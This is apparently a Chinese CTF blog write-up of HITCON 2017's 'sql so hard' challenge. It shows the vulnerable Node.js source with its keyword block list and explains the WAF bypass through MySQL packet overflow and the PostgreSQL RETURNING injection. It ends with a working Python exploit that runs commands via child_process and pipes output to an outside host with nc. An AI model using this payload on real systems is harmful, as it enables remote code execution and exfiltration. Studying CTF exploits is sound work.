HITCON…

0x01 sql so hard

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/node

/**
* @HITCON CTF 2017
* @Author Orange Tsai
*/

const qs = require("qs");
const fs = require("fs");
const pg = require("pg");
const mysql = require("mysql");
const crypto = require("crypto");
const express = require("express");

const pool = mysql.createPool({
connectionLimit: 100,
host: "localhost",
user: "ban",
password: "ban",
database: "bandb",
});

const client = new pg.Client({
host: "localhost",
user: "userdb",
password: "userdb",
database: "userdb",
});
client.connect();

const KEYWORDS = [
"select",
"union",
"and",
"or",
"\\",
"/",
"*",
" "
]

function waf(string) {
for (var i in KEYWORDS) {
var key = KEYWORDS[i];
if (string.toLowerCase().indexOf(key) !== -1) {
return true;
}
}
return false;
}

const app = express();
app.use((req, res, next) => {
var data = "";
req.on("data", (chunk) => { data += chunk})
req.on("end", () =>{
req.body = qs.parse(data);
next();
})
})


app.all("/*", (req, res, next) => {
if ("show_source" in req.query) {
return res.end(fs.readFileSync(__filename));
}
if (req.path == "/") {
return next();
}

var ip = req.connection.remoteAddress;
var payload = "";
for (var k in req.query) {
if (waf(req.query[k])) {
payload = req.query[k];
break;
}
}
for (var k in req.body) {
if (waf(req.body[k])) {
payload = req.body[k];
break;
}
}

if (payload.length > 0) {
var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
} else {
var sql = `SELECT ?,?,?`;
}
return pool.query(sql, [ip, payload, payload], (err, rows) => {
var sql = `SELECT * FROM blacklists WHERE ip=?`;
return pool.query(sql, [ip], (err,rows) => {
if ( rows.length == 0) {
return next();
} else {
return res.end("Shame on you");
}
});
});

});


app.get("/", (req, res) => {
var sql = `SELECT * FROM blacklists GROUP BY ip`;
return pool.query(sql, [], (err,rows) => {
res.header("Content-Type", "text/html");
var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
for(var r in rows) {
html += `${parseInt(r)+1}. ${rows[r].ip}\n`;

}
return res.end(html);
});

});

app.post("/reg", (req, res) => {
var username = req.body.username;
var password = req.body.password;
if (!username || !password || username.length < 4 || password.length < 4) {
return res.end("Bye");
}

password = crypto.createHash("md5").update(password).digest("hex");
var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
return client.query(sql.split(";")[0], (err, rows) => {
if (rows && rows.rowCount == 1) {
return res.end("Reg OK");
} else {
return res.end("User taken");
}
});
});

app.listen(31337, () => {
console.log("Listen OK");
});

上面很明显是在考node+postgres命令执行漏洞,但是相对于P师傅的案例其中还是有不符合的地方.

  1. 注入点在username,之后的sql被分号分割,因此在这里行不通
  2. 存在waf,过滤了斜杠

之前已经提到过造成漏洞原因,就是字段名过滤不严拼接进入了语句,但这个地方是insert,mysql中的insert是没有返回值的,所以没法注入.

在postgresql中,insert语法中存在RETURNING语法.

1
2
3
4
5
6
7
INSERT INTO table_name [ AS alias ] [ ( column_name [, ...] ) ]
[ OVERRIDING { SYSTEM | USER} VALUE ]
{ DEFAULT VALUES | VALUES ( { expression | DEFAULT } [, ...] ) [, ...] | query }
[ ON CONFLICT [ conflict_target ] conflict_action ]
[ RETURNING * | output_expression [ [ AS ] output_name ] [, ...] ]
...
If the INSERT command contains a RETURNING clause, the result will be similar to that of a SELECT statement containing the columns and values defined in the RETURNING list, computed over the row(s) inserted or updated by the command.

这样就能控制返回,就可以绕过第一部分了.

由于payload一定需要\,所以一定解决这个waf.
先来瞅瞅这个banip的流程,首先是判断你的请求查询和消息体中是否有黑名单中字符,如果有ip就会被加入黑名单,之后再从黑名单查询是否有你的ip…

这里如果在insert报错,那么之后的查询就会不存在.

Mysql中,如果语句超过16M就会触发错误,max_allowed_packet就是mysql限制数据包大小的参数,如果超出就会插入错误.

最后附上官方的payload

1
2
3
4
5
6
7
8
9
10
11
12
from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc orange.tw 12345`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print 'ok'
r = requests.post('http://13.113.21.59:31337/reg', data=data);
print r.content

测试结果:

0x02

到此就将HITCON 2017中WEB分析完毕,也拖了太久了…还是太懒散了…总觉得太麻烦…Going…
参考资料
(ง •_•)ง